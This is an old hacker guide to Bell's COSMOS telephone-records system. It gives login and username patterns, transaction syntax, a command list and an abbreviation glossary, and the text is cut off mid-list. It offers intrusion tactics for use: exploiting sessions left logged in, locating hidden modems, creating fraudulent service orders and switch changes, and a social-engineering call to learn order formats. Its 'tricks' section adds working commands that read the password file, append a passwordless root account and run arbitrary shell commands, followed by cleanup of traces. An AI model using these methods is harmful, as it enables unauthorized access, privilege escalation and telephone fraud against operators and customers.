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                             BY
                        ERIK BLOODAXE
PRELUDE
In the past, many files have been written about COSMOS.  I
have always been rather disappointed in their quality and in
their presentation, so I have taken on the responsibility of
doing one myself.  This should sum up COSMOS for everyone who
reads it.  It contains formats for very useful commands, an
entire transaction list, COSMOS "tricks", and a list of all COSMOS
abbreviations and their formats.
=============================================================================
INTRODUCTION
Bell Labs COmputer System for Mainframe OperationS  (COSMOS)
is basically just a database for maintaining records of
equipment and other line information and generating reports
on that information.  The system is usually set up on a DEC
PDP 11/45 or 11/70.
The main responsibilities of the COSMOS system are:
              Maintaining records
              Issuing reports
              Processing service and work orders
              Assigning telephone numbers
              Load balancing for switching computers
              Output of ESS recent change information
LOGGING ON
When connecting to COSMOS the system will respond with:
;Login:  or  LOGIN:
at which point you enter a username.  The system will then
prompt:
PASSWORD:
at which point you enter the password for that username.
Finally, the system will prompt:
WC?
which asks you to enter the wire center for the exchange you
will be using in your work.  After successfully completing
the login sequence you will be given the system prompt which
will be the two letter id of the wire center you entered and a
percent sign:  "WC% "
To log off at this or at any point you can type control-y.
One of the major flaws in COSMOS security is that unless a
control-y is received the terminal is not logged out, even if
the user disconnects.  Many times when you connect to COSMOS,
you will be dropped right into the "WC% " prompt.  This even
happens on major BOC packet networks quite often.  If you are
lucky enough to receive a 'WC#' prompt you have access to the
COSNIX shell, and can issue various unix-like commands, like
ls, cd, cat, et cetera.
COSMOS usernames are usually issued as two letters corresponding to
whatever center will be using that account, and two numbers.
EX:  LA01
Using the above example "LA01" there will most probably be numerous
"LA" accounts, possibly "LA01" through "LA15" or higher.  This is true
for most COSMOS usernames.  More often than not, all accounts used by the
same center will have the same password as well.  Some common usernames
and their owners are:
              ROOT     System Manager
              SYS      System Manager
              ML       Loop Assignment
              LA       Loop Assignment
              DN       Main Distributing Frame
              IN       Repair Service
              RS       Repair Service
              CE       LNAC
              LK       Account to execute INQuiries only
              JA       Mizar
              WLI      Work Load Indicator
Usernames may vary from BOC to BOC, but these are fairly standard.
=============================================================================
COSMOS TRANSACTION COMMANDS
COSMOS commands are three letter acronyms.  I will explain in
depth the commands I have found most useful, and then list
the remainder.  Remember, do not attempt to learn the formats for COSMOS
transactions online.  You will probably not figure out correct inputs, and
will most likely cause problems for the system manager and yourself.
Commands are entered in a specific ways.  The command desired is
entered at the WC% prompt.  A second string of data is entered at
the next line which designates the type of transaction desired.
This line is prefixed with on of the following four letters:
H - Header Line
I - In Line
O - Out Line
R - Remark Line
The most commonly used line is the H line.  It is a required input in
almost all COSMOS transactions.  From the second line on, COSMOS will
prompt with an underscore "_" as the system prompt, to let the user
know that it is waiting for input.  When all needed data has been entered,
the command is executed by typing a "." at the beginning of a new line.
If you wish to process a command, but stay in command level in order to
process further commands after the one you are currently entering has
finished, a ";" can be entered at the beginning of a new line.
To cancel the transaction you are entering, a "Q" should be entered at
the beginning of a new line.  To interrupt output, the break character
is "^C".  When entering criteria, you may enter all like data (all H-line, all
I-line, etc...) on one line using a "/" between input prefixes:
EX:  H TN 222-0000,222-9999/RMKT SWBT?/US 1FB
is the same as entering:
H TN 222-0000,222-9999
_H RMKT SWBT?
_H US 1FB
One of the most commonly used commands is INQ (Complete
Circuit Inquiry).  There is also a short form of INQ called
ISH.  This command requires only the use of H lines.  Multiple H lines
can be entered to narrow a search or to print multiple reports.
Valid H line facilities used are:
              BL       Bridge Lifter
              CON      Concentrator
              CP       Cable Pair
              CKID     Circuit ID
              MR       Message Register
              OE       Office Equipment Number
              PL       Private Line Circuit Number
              TK       Trunk Cable and Pair Number
              TN       Telephone Number
              TP       Tie Pair
              XN       "X" Number
              TRE      Transmission Equipment
              TER      Terminal Number
              GP       Group Number
              ORD      Work Order
EX:  To print information on telephone number 222-2222
WC% INQ
H TN 222-2222
_.
EX:  To print information on cable pair 11-1111
WC% INQ
H CP 11-1111
_.
INQ will print a full report whatever circuit you examine, while ISH
will print a shorter, easier to read report.  Below is an actual ISH
done on a Telenet node.
CA% ISH
H TN 225-8004
_.
TN   225-8004
     ST  AU          DATE 06-03-83   HT GP 0-0081    BTN 225-8004    TYPE X
OE   006-012-200
     ST  WK          DATE 03-04-86   CS 1FBH     US 1BH       FEA TNNL
     LCC TF2
     LOC WF12003
TER  0-0081-0001
     ST  WK
     RMKG GTE.TELENET
CP   95-0701
     ST  WK          DATE 01-24-86    RZ 13
     LOC WF12009
TP   6105-0910
     ST  WK          DATE 01-24-86
     LOC  F12003
     LOC  F42001
     FROM FAC OE  006-012-200     TO FAC TP  6206-0107
TP   6206-0107
     ST  WK          DATE 01-24-86
     LOC  F22029
     LOC  F42002
HUNT SEQUENCE FOR TN 225-8004
  TER 0001-0040
** ISH COMPLETED 02-29-99  12:00
CA%
When you pull an inquiry on a number that you are interested in, you will
be given its cable pair, its order number, any numbers that connect to
it through a hunt sequence, and you will see any remarks entered about the
number.  This information can prove to be very valuable.  For instance:
You suspect that a company has a modem online, yet you don't want to waste
time sequentially dialing thousands of numbers.  You can simply enter
an ISH on the number to get its cable pair, then begin pulling ISH
reports on cable pairs close to the main one.  Then you need only dial
twenty or so numbers that are in the same area as the main number, and
you will find the computer.
Another extremely valuable command is SIR (Sorting Inquiry by Range).
With SIR, you can print the circuit information on all lines that match
specified criteria within a specified range of numbers.  This command
requires only H line input, but numerous lines may be entered in order to
narrow down the search.  You may also use the wildcard character ("?") to
encompass a larger range when doing a SIR.  There are many applications
for SIR, but I will only show examples on a few I have found to be
most useful.
Many times entries have special remarks entered about the circuit.  These
are usually entered as RMKT (Remarks on Telephone Number), but they may be
entered as RMKO (Remarks on Office Equipment) or RMKP (Remarks on Cable
Pair), depending upon what the person entering felt like typing.
Most of the time the remarks really don't correspond like they should.
Telephone companies are pretty thorough about remarking on a line that
they own and they will usually use the RMKT prefix.
EX:  To find all telephone company (Southwestern Bell) lines in prefix 222
WC% SIR
H TN 222-0000,222-9999
_H RMKT SWBT?
_.
The "?" after SWBT acts as a wildcard.  Typing SWB? would perform the same
search.
You may also want to search by STT (Telephone number status).  Some types of
STT are:
              AU   Auxiliary
              NP   Non-published
              OF   Official (telco owned)
              TS   Test
Another way to distinguish types of number is by CS (Customer Class of
Service).  CS values tend to vary from BOC to BOC, but business lines
will usually look like "1FB", or at least contain a "B".  Residences
will usually look like "1FR."  Sometimes telco lines are listed as "1OF",
but may also be entered as "1FB".  On lines in a hunt group, the CS will
be appended with the letter "H", as "1FBH".
Let's say a company owns a block on an exchange (333) running from 1000 to
3500.  You want to find all possible computer numbers in that area.  Chances
are good that they are not listed.
EX:
WC% SIR
H TN 333-1000,333-3500
_H STT NP
_H CS 1FB
_.
The above would list all non-published business numbers from 333-1000
to 333-3500.
To find all numbers that are translated 800 numbers in the same prefix range
as above, you can do the following:
EX:
WC% SIR
H TN 333-1000,333-3500
_H PL ?800?
_.
This will prints reports on all private lines registered as 800 numbers.
There is also a shorter version of SIR, LTN (List Telephone Numbers), and a
more detailed version, GFR (General Facility Report), but I have found
SIR to be the better of the three to use for my purposes.
In order to change line attributes, or to create new lines you will need
to use two commands SOE (Service Order Entry), and RCP (Recent Change
Packager).  These two commands are pretty detailed in what they can do,
so I will just cover a few of their options.
SOE will allow you to assign a new circuit, and specify the desired telephone
number, custom calling features, billing telephone number, etc.
SOE requires both "H" and "I" lines of input.  The best way to enter
a new service order is to have COSMOS pick your new telephone number and
assign the needed office equipment number.  If you want to pick your own
telephone number, the number you pick must have a status (STO) of SP, LI, RS,
or PD (with a disconnect date before the due date on your new service order).
This is so that you do not try to assign a number that is currently working
to your new service order.  You can check this by doing an ISH on all the
variations of numbers you desire, and checking the STO.  You can also get a
list of available numbers in a given prefix using the NAI command.  You
should also do a SIR of recent entries, to try to find the proper format of
order numbers, so that you do not reuse one, or make one up that is formatted
incorrectly.  Another method to make sure that you have the correct formatting
of order numbers is to call the phone company and request the installation of
a line in the area you are working in.  They will tell you your service order
number for reference.  Later, you can merely cancel the order.  You will also
have to find a valid cable pair, so do an ISH on whatever number written in
your junction box that is not working, and then make sure there is no pending
connect orders entered on it.
To enter a service order for a new connection, having COSMOS pick an available
telephone number and assign proper office equipment numbers, you would do
the following:
EX:
WC% SOE
H ORD SO123456/OT NC/DD DD-MM-YY   (Use valid Day, Month, Year for Due Date)
_I TN ?/US 1FR/FEA TNNL/OE ?/CP XX-YYYY   (Use valid cable pair for XX-YYYY)
_.
You would now need to enter RCP and make a correctly formatted recent change
report for the order you entered so RCMAC can pick up the order and directly
enter it into the switch.  What RCP does is take your order and change it into
actual switch programming, using templates that are stored in directories
corresponding to what type of switching equipment is used for that WC.
(EX:  ess5a)
EX:  To create a recent change package for the order entered above
WC% RCP
H ORD SO123455
_.
Using SOE you can specify custom calling features, you can specify billing
telephone numbers, you can establish service as coin, and several other
options by adding "I" line information corresponding to that particular
option.
              _I CCF XXXXXX       (XXXXXX is valid custom calling features)
              _I BTN NNX-XXXX     (NNX-XXXX is valid billing TN)
              _I TT C
To get a list of spare (available) telephone numbers in a given prefix, you
can use the NAI (Telephone Number Assignment Inquiry) command.  You only need
enter H line criteria.  In addition to searching by prefix (NNX), you can
search by switch type (TYP), or rate zone (RTZ).
EX:  To select one spare telephone number in 555 and make it reserved status
WC% NAI
H TT X/NNX 555/STT RS
_.
You may also have NAI print out several available numbers, however, you cannot
change the status unless you are printing one listing.
EX:
WC% NAI
H TT X/NNX 555/LC XX        (Where XX is a number between 1 and 25)
_.
To get a listing of all prefixes that exist in the Wire Center you are
logged in under, you can use the command DDS (Display DS Table).  This
command will list the ranges that exist for a given input.
To list all telephone numbers in a given WC:
WC% DDS
H TN ?
_.
To list all cable pair ranges:
WC% DDS
H CP ?
_.
To change from one Wire Center to another, you use the command WCC (Wire
Center Change).  This is a very straight forward command.
EX:
WC% WCC NW
NW%
To allow for redirection in your COSMOS commands, you must execute the
DIO command.  This command is rather important for manipulating commands
to work for you.
EX:
WC% DIO
To see what transactions other people logged in are running, you can use the
command TSNAP (on certain generics)
EX:
WC% TSNAP
There are about one hundred other COSMOS commands that are all defined at the
end of this file.  I cannot go into detail on all of them but I will list them
and their meanings.
=============================================================================
COSMOS TRICKS
Even if you don't have full COSNIX access, you can basically execute
any command or read any file that exists in the system.  Using the INQ
(or ISH) command and redirection, you can open and display any file.
EX:  To display the password file
WC% INQ </ETC/PASSWD
This will display the file, however, since this is a flaw in the command,
it thinks the file is to be input for INQ, and each line will be preceded
with "ILLEGAL LINE TYPE", but this can be ignored.
Other files to look at:
/USR/FACS/WCFILE     List of all Wire Centers
/ETC/MATRIX.P        Permission Matrix (Who can execute what commands)
You may or may not want to try the following.  There is a high probability
that you will be noticed on the system.  If your local COSMOS ports are
usually left logged in, don't bother doing this.  However, if your COSMOS
ports are always logged out, and you almost never get in, and you happen
to stumble upon one left logged for the first time in months, it might be
worth a try.
There are a few ways to make a new account on COSMOS; however, you need to
be able to write to the password file.  Some systems allow this, but most do
not.
The easiest way involves using the echo command and redirection.
EX:
WC% echo "EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so" >>/etc/passwd
This will add user EB01 to the end of the password file.
If you do not have access to echo you can do the same thing using the TED
command (Text Editor).
WC% TED >>/etc/passwd
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y on NO) Y
1d
a
EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so
^C
1p
w
q
After executing the above, you will need to clean up the /etc/passwd
file to remove the Service Order information put in there by TED.  You will
also need to remove the service order you created from the /usr/so/WC
directory.
If you cannot find a way to get shell access, you can still execute
any COSNIX command you desire again using TED, MSK (Output a Transaction
Mask), and ARG (Assemble and Run a Given Master File).
EX:
WC% TED
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y or NO) Y
12
1d
a
$*
run!
^c
w
q
WC% MSK >/usr/so/newcmd
SO123456
WC% ARG
newcmd ls /etc
To execute the command, you need to do ARG, then the name of the
file (which I called newcmd), then the COSNIX command you wish to
execute.
If you can use echo this can be done much easier.
EX:
WC% echo '$*' >/usr/so/newcmd
WC% echo 'run!' >>/usr/so/newcmd
Then you can run your command normally with ARG.
WC% ARG
newcmd cd ..
IF you do not have access to echo, create a newcmd file and you can use it
that way.
WC% ARG
newcmd echo EB01::0::y:1:/tmp:/usr/cosmos:/usr/so:/usr/preop >>/etc/passwd
=============================================================================
COSMOS COMMAND LISTING
ACE  Establish an Assignment Change Ticket
AIT  ANALIT Initialization of Tables
ARG  Assemble and Run a Given Master File
AUD  Assignment List Audit
BAI  Bridge Lifter Assignment Inquiry
BYF  Display the Bypass File
BYP  Change the Contents of the Bypass File
CAY  Create an Assembly
CCA  Change Customer Attributes
CCT  Initialize and Update the Contractor-Transducer File
CDA  Change Distribution Attributes
CDD  Change Due Date
CDR  Cut Thru DIP Report
CFA  Change Facility Attributes
CFP  Print the Class of Service/Features for an Electromechanical Entity
CFU  Change Facility Usage
CIE  Company Establish Company Initiated Change
CLI  COSMOS Processed ALIT Reports
CPI  COSMOS-PREMIS Interface
CPM  COSMOS Performance Monitor
CTC  Complete a Cable Transfer or Complete a Cable Throw
CTE  Cable Throw Order Establishment
CTF  Display the Contacter-Transducer File
CTL  Cable Throw with Line Equipment Assignment
CTM  Cable Throw Modification
CTP  Print Cable Transfer Frame Work
CTR  Cable Throw Replacement
CTS  Cable Throw Summary
CTW  Withdraw a Cable Transfer or a Cable Throw
CUP  Common Update Processor
CXC  Complex Service Order Input Checker
CXM  Centrex Table Management
CXT  Complex Order Inquiry for NAC Review
DAY  Delete an Assembly
DBL  Data Base Load
DCN  List Disconnected and Changed Numbers
DDS  Display the DS Table
DIR  Standard DIP Report
DPN  DIP Purge Number
DPR  DIP Report and Removal
DQR  Design Quota System Report
DQS  Design Quota System
DTE  Print Current Date
EDZ  Facility Emergency Assignment List
ELA  Entity Load Analysis
ESP  Print Entire Summary Table
FDY  Set Fiscal Day for LAC
FLR  Frame Layout Report
FOR  Frame Order Report
FOS  Frame Operations Summary
FTA  Frame Transfer Analysis
FTC  Frame Transfer Completion
FTE  Frame Transfer Establishment
FTL  Frame Transfer LETs
FTR  Frame Transfer Reprint
FTW  Frame Transfer Withdrawal
FWM  Frame Work Management
GFR  General Facility Report
GLA  Generate Lists for Assignment
HBS  Hunt Group Blocks of Spares
HGR  Hunt Group Report
HGS  Hunt Group Summary
HIS  Hunting ISH
IJR  Input a Jeopardy Reason
IMU  Input Measured CCS Usage Data
INQ  Complete Circuit Inquiry
ISF  Inquire on a Single Facility
ISH  Complete Circuit Inquiry Short
JAM  Jumper Activity Management
JPH  Jumper Placement History
KPR  Killer Pair Report
KSM  Create a Transaction Mask
LAI  Line Equipment Assignment Inquiry
LBP  Load Balance Parameters
LCD  LIST Cable Summary, LIT Demand Test
LCP  List Cable Pairs
LEE  NAC Related Line Equipment Transfer Order Establishment
LEW  Line Equipment Transfer Withdrawal
LFC  Load Factor Calculation
LFR  Line Failure Report
LGN  List Hunt Groups
LIN  Transmit ALIT Data to COSMOS
LOE  List Originating Line Equipment
LSE  Line and Station Transfer Order Establishment
LSW  Line and Station transfer Withdrawal
LTN  List Telephone Numbers
MAL  Manual Assignment List
MAP  Manual Assignment Parameters
MAQ  Manual Assignment File Inquiry
MAY  Modify an Assembly
MCE  Establish a Maintenance Change Ticket
MCH  Manually Change Hunt
MCL  Maintenance Change List
MCR  Establish a Maintenance Change Repair
MCW  Maintenance Change Ticket Withdrawal
MDC  Manually Disconnect a Working Circuit
MEC  Manually Establish a Circuit
MMC  Manually Modify a Circuit
MOC  MOE Order Completion
MOE  Mass OE Transfers
MOF  Mass OE Frame Transfer Listings
MOW  MOE Order Withdrawal
MPK  Modify Work Package
MSK  Output a Transaction Mask
MTR  Manually Test a Response
NAI  Telephone Number Assignment Inquiry
NOL  NAC Service Order Listing
NSD  Number Summary Display
OIJ  Orders in Jeopardy
OPN  Open-of-Day Report
OPU  Outside Plant Cable Usage
PAK  Work Packages
PEP  Position Establishment for Parties
PFR  Party Line Fill Report
PRP  Periodic Purging of Remarks
QEX  Question an Execution
QUE  Queue
RAL  Relay Assignment List
RAP  Relay Assignment Parameters
RAS  Release Sequence Number Lists and Related TN/OE
RBS  Print TBS Relays Assignment Record
RCP  Recent Change Packager
RCR  Recent Change Report
RCS  Recent Change Summary
RED  Recent Change Message Text Editor
REL  Release Non-Intercepted Numbers by Release Date
REM  Remove Frame Locations
RET  Retermination of Frame Locations
REX  Reexecute a Service Order
RJR  Remove Jeopardy Reason Codes
RMP  Recent Change Punctuation Table
RNA  Release Telephone Numbers for Assignment
ROE  Reservation Order Establishment
ROI  Reservation Order Inquiry
ROW  Reservation Order Withdrawal
RTH  Report Transaction to Count Spare and DIPed Line Equipment
RTS  Relay and Telephone Number Status Report
RUP  Request Unsolicited Processing
SAI  Summary of Action Items
SCA  Service Order Completion-Automatic
SCF  Simple Completion for MDF
SCI  Spare Cable Pair Inquiry
SCM  Standard Completion by MDF
SCP  Service Order Completion by LAC
SCR  Standard Completion by RCMAC
SEL  Selecting Lines for an Exchange Class of Service Study
SET  Statistics on Equipment and Telephone Numbers
SGH  Supply Relays for Groups of 5XB Hunts
SIR  Sorting Inquiry by Range
SLC  Subscriber Line Counts for Custom Calling Features
SOC  Service Order Cancel
SOE  Service Order Establishment
SOF  Service Order Fix
SOH  Service Order Withheld
SOI  Service Order Assignment Inquiry
SOL  Service Order Listing
SOM  Modify a Pending Service Order
SOW  Service Order Withdrawal
STN  Summarize Telephone Numbers
SVL  Service Observing Loops
TAI  Tie Pair Assignment Inquiry
TAT  Test Alignment of Frame Terminal
TED  Text Editor
TET  Display or Change Band Filter File, Retention Factor and Print Threshold
TFC  Transfer Frame Changes
TIG  Dial Transfer Input Generator
TLC  Translate LANAVAR/CPS
TNS  Telephone Number Swap
TOC  Transfer Order Completion
TOE  Transfer Order Establishment
TOF  Mass OE Transfer Order Frame Listings
TOI  Dial Transfer Order Inquiry
TOL  Transfer Order Lists
TOO  Transfer Order Omissions
TOW  Transfer Order Withdrawal
TPU  Tie Pair Usage Report
TRC  Transfer Order Recent Change Report
TRI  Transmission Equipment Assignment Inquiry
TRW  Total Reservation Order Withdrawal
TSL  Line Equipment Summary Report
TSN  Traffic Statistics on Telephone Numbers
TSW  Total Service Order Withdrawal
TTY  Get TTY Name
TXC  Text Checker
TXM  Transfer Centrex Management
UDP  Update DIP Parameters
UES  Update the Entity Summary Table
UFO  Unprinted Frame Orders
UPC  Update CCS vs. Class of Service Table
USL  List USOC (US) File Data
UTC  Update Table for Concentrator Redesign
WCC  Change Wire Center
WCT  Worksheet for Cable Throw Orders
WFL  Working Frame Location
WOI  Work Order Inquiry
WOL  Work Order Listing
WPT  Work Package Table
WSL  Work Status List
WUL  Work Unit Report for Subscriber Line Testing and Installation Assignment
=============================================================================
COSMOS ABBREVIATIONS AND FORMATS
The following will be given as follows:
Prefix and Meaning
Format
Code Value and Meaning
AC   Assembly category
     AC XXXX
     PERM=Permanent Facility Assemblies
     TEMP=Temporary Facility Assemblies
AC   Assembly Code
     AC XXX
     XXX=1-999
ADSR Administration of Designed Services Review
     ADSR X
     Y=Yes, TIRKS Circuit
     N=No, COSMOS Circuit
AGM  Normal Aging Months
     AGM XX
     XX=Number of Months
AGT  Accelerated Aging Type
     AGT XXX
     BUS=Business
     RES=Residential
AI   Assigner's Initials
     AI XXX
     XXX=3 Alphanumeric Characters
AO   Allocation Order
     AO XX
     XX=Two Numeric Characters
AR   Advance Relay
     AR XYY-ZZZ
     X=Marker Group
     YY=Number Group from Frame
     ZZZ=Relay Number
ATN  Assigner's Telephone Number
     ATN XXX-XXXX
     XXX-XXXX=Assigners TN
BL   Bridge Lifter
     BL XX...XX
     XX...XX=Maximum of 17 Alphanumeric Characters
BLS  Bridge Lifter Status
     BLS X
     Y=Yes
     N=No
BND  Band Number
     BND X
     X=0-3
BTN  Billing Telephone Number
     BTN XXX-XXXX
     XXX-XXXX=Billing Telephone Number
CA   Cable Number
     CA XX...XX
     XX...XX=Maximum of 10 Alphanumeric Characters
CAT  Centrex Access Treatment
     CAT XX
     XX=Maximum of 2 Numeric Characters
CC   Call Count
     CC XX
     XX=Maximum of 2 Numeric Characters
CCF  Custom Calling Features
     CCF XXXXXX
     XXXXXX=3 to 6 Alphanumeric Characters
CCS  Hundred Call Seconds
     CCS XXXX
     XXXX=3 or 4 Numeric Characters
CEU  CCS Estimated Usage
     CEU XXXX
     XXXX=3 or 4 Numeric Characters
CG   Control Group Number
     CG X
     X=0-9
CKID Circuit Identification
     CKID XX...XX
     XX..XX=Maximum of 61 Alphanumeric Characters
CKL  Circuit Location
     CKL XXXX
     XXXX=Maximum of 4 Alphanumeric Characters
CLC  Common Language Code for an Entity
     CLC XX...XX
     XX...XX=Maximum of 11 Alphanumeric Characters
CLCI Common Language Circuit Identification
     CLCI XX...XX
     XX...XX=Maximum of 61 Alphanumeric Characters
CLEI Common Language Equipment Identifier
     CLEI XX...XX
     XX...XX=Maximum of 10 Alphanumeric Characters
CLF  Creating DIPs Upper Bound Load Factor
     CLF XX
     XX=1-10
CLL  Creating DIPs Lower Bound Load Factor
     CLF X
     X=1-9
CLS  CLCI in Serial Number Format
     CLS XX...XX
     XX..XX=Maximum of 61 Alphanumeric Characters
CLT  CLCI Telephone Number Format
     CLT XX...XX
     XX...XX=Maximum of 61 Alphanumeric Characters
CMF  Capacity Main Station Fill
     CMF XXXXXX
     XXXXXX=Maximum of 6 Numeric Characters
CMU  CCS Measured Usage
     CMU XXXX
     XXXX=3 or 4 Numeric Characters
COM  Complement Size
     COM XXXX
     XXXX=1-9999
CON  Concentrator
     CON XX-YY
     XX=Maximum of 2 Alphanumeric Characters
     YY=Maximum of 2 Numeric Characters
CP   Cable and Pair Number
     CP XX...XX-YZZZ
     XX...XX=Cable ID, Maximum of 10 Alphanumeric Characters
     YZZZ=Cable Pair ID
     Y=Alphanumeric
     ZZZ=Numeric
CPU  CCS Capacity Usage
     CPU XXXX
     XXXX=3 or 4 Numeric Characters
CRG  CREG Tag
     CRG XXX
     XXX=YES or NO
CS   Customer Class of Service
     CS XXXXXX
     XXXXXX=Maximum of 6 Alphanumeric Characters
CTID Circuit Termination Identification
     CTID XX...XX
     XX...XX=Maximum of 61 Alphanumeric Characters
CTT  Cut Through Tag
     CTT XXX
     XXX=YES or NO
CTX  Centrex Group Number
     CTX XXXX
     XXXX=Maximum of 4 numeric Characters
DC   Dial Code
     DC X
     X=1 Alpha Characters
DD   Due Date
     DD MM-DD-YY
     MM=Month
     DD=Day
     YY=Year
DID  Direct Inward Dialing
     DID XXXX
     XXXX=Maximum of 4 Numeric Characters
DIP  DIP Creation Option
     DIP X
     Y=Yes
     N=No
DNY  Denial of Service for Non-payments
     DNY X
     I=Incoming
     O=Outgoing
     B=Both
DPA  Different Premises Address
     DPA XXX
     XXX=Maximum of 3 Alphanumeric Characters
DPT  Department Name
     DPT XXX
     XXX=Maximum of 3 Alphanumeric Characters
DST  Destination of Order Response
     DST XXXX
     XXXX=Maximum of 4 Alphanumeric Characters
DT   Due Time
     DT XX
     XX=AM, PM, or 0-9
EC   ESS Entity and Control Group Number
     EC YZ
     Y=Entity Number
     Z=Control Group Identifier
ECS  Equipment Class of Service
     ECS XXXXXX
     XXXXXX=Maximum of 6 Alphanumeric Characters
ED   Enter Date
     ED MM-DD-YY
     MM=Month
     DD=Day
     YY=Year
EN   Entity
     EN X
     X=S, E, 1, 5 or 0
EN   Entity Number
     EN X
     X=0-9
ENT  Entity Number
     ENT X
     X=0-9
EO   Error Handling Option
     EO XX
     CE=Continue Processing and Establish Valid Circuits
     CW=Continue Processing and Withdraw Established Circuits
     SE=Stop Processing and Establish Valid Circuits
     SW=Stop Processing and Withdraw Established Circuits
EQF  Equipment Features
     EQF WXYZ
     W=R (Rotary) or T (Touchtone)
     Y=S (Sleeve) X (Range Extension) or N (Non-sleeve or Non-range Extension)
     X=E (Essential) or N (Non-essential)
     Z=G (Ground Start) or L (Loop Start)
EQV  Frame Equivalence
     EQV FXX
     F=The Letter "F"
     XX=Two Alphanumeric Characters
ETC  Estimated Trunk CCS Value
     ETC XXXX
     XXXX=Maximum of 4 Alphanumeric Characters
EXD  ECS Crossloading Option
     EXD XXX
     XXX=YES or NO
FAC  Type of Segment List Being Audited
     FAC XX
     TN=Telephone Number
     OE=Line Equipment
FAC  Circuit Confiruration
     FAC XXX          or
     FAC TN-NNX       or
     FAC CP-XX...X    or
     FAC SE-YY...Y    or
     FAC PL-ZZ...Z
     XXX=Any Facility Prefix
     NNX=Three Alphanumeric Characters
     XX...XX=Maximum of 10 Alphanumeric Characters
     YY...YY=Maximum of 52 Alphanumeric Characters
     ZZ...ZZ=Maximum of 61 Alphanumeric Characters
FC   From Cable
     FC XX...XX
     XX...XX=Maximum of 10 Alphanumeric Characters
FDD  Frame Due Date
     FDD MM-DD-YY
     MM=Month
     DD=Day
     YY=Year
FEA  Customer Feature
     FEA XXXX
     (Same as EQF)
FILT Filter
     FILT XXX
     XXX=Y, YES, N, or NO
FR   Frame Identification
     FR FXX
     F=The letter "F"
     XX=Two Alphanumeric Characters
FT   Frame Time
     FT XX
     XX=01-24
FW   MDF Output Suppressed
     FW X
     Y=Frame Work Yes
     N=Frame Work No
GP   MLHG Group Number
     GP Y-XXXX
     Y=Alphanumeric Control Group
     XXXX=Numeric Group Number
GSO  Ground Start Option
     GSO X
     1=Assigned to any OE in the Entity
     2=Assigned to Even Levels
     3=Only Assigned to OE Specified as Ground Start
HC   Hunt Count
     HC XXXX
     XXXX=Maximum of 4 Numeric Characters
HF   Hunt-from Telephone Number
     HF XXX-XXXX
     XXX-XXXX=Telephone Number
HLC  Highest Lead Factor Group Count
     HLC XXXX
     XXXX=1-9999
HR   Held Order Reason Code
     HR XX
     CE=Equipment Shortage
     CF=Lack of Facility
     CL=Plant Load
     CO=General Company Reasons
     C1-C5-Additional Company Reasons
     SA=Subscriber Access
     SL=Subscriber Requested Later Date
     SO=General Subscriber Reasons
     SR=Subscriber Not Ready
     S1-S5=Additional General Subscriber Reasons
HRS  Hours Prefix
     HRS XX
     XX=01-24
HT   Hunt-to Telephone Number
     HT XXX-XXXX
     XXX-XXXX=Telephone Number
HTG  Hunt-to Group Number
     HTG Y-XXXX
     Y=Alphanumeric Control Group
     XXXX=Numeric Group Number
HTX  Hunt-to X Number
     HTX XXX-YYXX of
     HTX XXX-YXX
     Y=Alphanumeric
     X=Numeric
INIT Allocation Table Initalization
     INIT
     (No Data Entry)
ITM  Cable Pair Item Number
     ITM XX
     XX=Two Numeric Characters
JL   Jumper Length
     JL XXX
     XXX=Maximum of 3 Numeric Characters
JR   Jeopardy Reason
     JR XX
     A1=Assignment Error on CP
     A2=Assignment Error on OE
     A3=Assignment Error on TN
     A4-A9=Other Assignment Error
     C1=No SSWO for Circuit Design Group
     C2-C9=Local Code for Circuit Design Group
     E1-E9=No ESS Translations
     IB=No Installation Go-ahead for Business
     IC=No Installation Go-ahead for Coin
     ID=No Installation Go-ahead for Data
     IR=No Installation Go-ahead for Residence
     IS-No Installation Go-ahead for Special
     I1-I4=Local Codes foir No Installation Go-ahead
     RB=Business RSB
     RC=Coin RSB
     RD=Data RSB
     RR=Residence RSB
     RS=Special RSB
     R1-R4=Local Use for RSB
LC   Output Line Count
     LC XXXX
     XXXX=0-9999
LC   Line Count
     LC XXX
     XXX=0-999
LC   Pending Service Order Count
     LC
     (No Data Entry)
LCC  Line Class Code
     LCC XXX
     XXX Maximum of 3 Alphanumeric Characters
LD   Loading Division
     LD XX
     XX=Two Numeric Characters
LDN  Listed Directory Number
     LDN XXX-XXXX
     XXX-XXXX=Telephone Number
LF   Load Factor
     LF XX
     XX=1-10
LIM  Less Than the Specified Number of Pairs
     LIM XX
     XX=0-50
LIM  High Limit on Number of Specified Status Pairs in a Complement
     LIM XX
     XX=0-50
LIM  Low Limit on Number of Spare Line Equipment in Vertical Files
     LIM XX
     LIM=1-10
LLC  Low Load Group Count
     LLC XXXX
     XXXX=0-9999
LOC  Location
     LOC FXXYYY
     F=The Letter "F"
     XX=Alphanumeric
     YYY=001-999
LP   Loop Range
     LP XXX;XXX
     XXX;XXX=Six Numeric Characters
LS   List New Pending Cable Transfers
     LS XXX
     XXX=NEW
LTI  Loop Termination Identifier
     LTI XXX
     XXX=Three Alphanumeric Characters
MASK Office Equipment Mask
     MASK OE ID
     ID=XXX-XXX-XXX    =1ESS
     ID=XXX-XXXX       =2ESS
     ID=XXX-XXXX       =3ESS
     ID=XXXX-XXX-XX    =5ESS
     ID=XXXX-XX-XX     =5ESS
     ID=XXXX-X-XXXX    =RSS
     ID=XXXX-XXX-XX    =1XB
     ID=XXXX-XXXX-XX   =1XB
     ID=XXX-XX-XX      =5XB
     ID=XXXX-XXX       =SXS
     ID=XXX-X-XX-X     =DMS-10
     ID=XXX-X-XX-XX    -DMS-100
     X=Alphanumeric
MAT  Manual Assistance Tag
     MAT XXX
     XXX=YES or NO
MAX  Maximum Percentage Value of Entity Fill or Maximum CCS Value
     MAX XXX
     XXX=Maximum of 3 Numeric Characters
MBL  Mini-bridge Lifter Tag
     MBL XX
     Y=MBL Working on CP
     N=CP Can't Support MBL
     EQ=CP has MBL Capabilities
MC   Marker Class of Service
     MC XX
     XX=Two Alphanumeric Characters
MF   Recent Change Message Format
     MF XXXX
     NEW=RX:LINE:messages
     OUT=RC:LINE:OUT:messages
     CHG=RC:LINE:CHG:messages
     SUSP=RC:LINE:CHG:messages of suspended service
MF   Jumper Listing for MDF
     MF XXX
     NEW=Running Jumper Listing
     DJ=Dead Jumper Listing
MF   Message Format When Completing Transfer Circuits with TOC
     MF XXX
     ALL=Message is Printed for Every Circuit in Range
     ERR=Message Printed Only for Circuits not Completed
MF   Message Format for Dial Transfer Number Lists
     MF XXX
